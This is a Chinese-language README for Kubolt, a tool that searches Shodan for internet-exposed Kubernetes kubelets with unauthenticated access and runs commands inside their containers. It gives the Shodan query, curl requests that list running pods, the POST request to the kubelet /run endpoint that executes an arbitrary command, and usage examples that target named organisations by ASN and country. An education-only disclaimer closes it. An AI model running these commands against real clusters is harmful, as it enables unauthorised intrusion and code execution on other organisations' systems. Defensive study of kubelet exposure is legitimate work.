Kubolt 是一款简单的工具,用于扫描公开的未认证 Kubernetes 集群,并在容器内运行命令。
有时,kubelet 的 10250 端口会对未授权访问开放,使得可以通过 kubelet 中的 getrun 函数在容器内运行命令:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
好吧,让我们问问我们的朋友 Shodan :trollface:
基本查询是:
ssl:true port:10250 404
Kubelet 默认使用 SSL 在 10250 端口,404 是无 URL 路径时的 HTTP 响应。
Kubolt 通过 API 向 Shodan 请求 IP 地址列表,并将其保留用于其他 OSINT 操作 😁
首先,向 Kubelet 查询正在运行的 pod,过滤掉响应中包含 Unauthorized 且不包含 container 的主机,这样我们才能在其容器内执行命令。
curl -k https://IP-from-Shodan:10250/runningpods/
无论如何,如果你发现主机当前没有任何运行的 pod,请保留它,等 pod 可能启动后再试 😁
你可以通过以下请求列出所有可用的 pod:
curl -k https://IP-from-Shodan:10250/pods/
#或
curl http://IP-from-Shodan:10255/pods/
接下来,kubolt 解析响应并生成如下新请求:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
你可以使用 Shodan 过滤器更精确地定位公司,例如:
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#或
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt 会使用 Shodan API 和相应的查询积分,如果你运行工具时不加查询过滤器,你很可能会耗尽所有积分 ¯\_(ツ)_/¯

本工具由作者提供,仅供教育用途使用。作者不对工具的滥用承担责任。作者不对因使用本工具造成的任何直接或间接损害负责。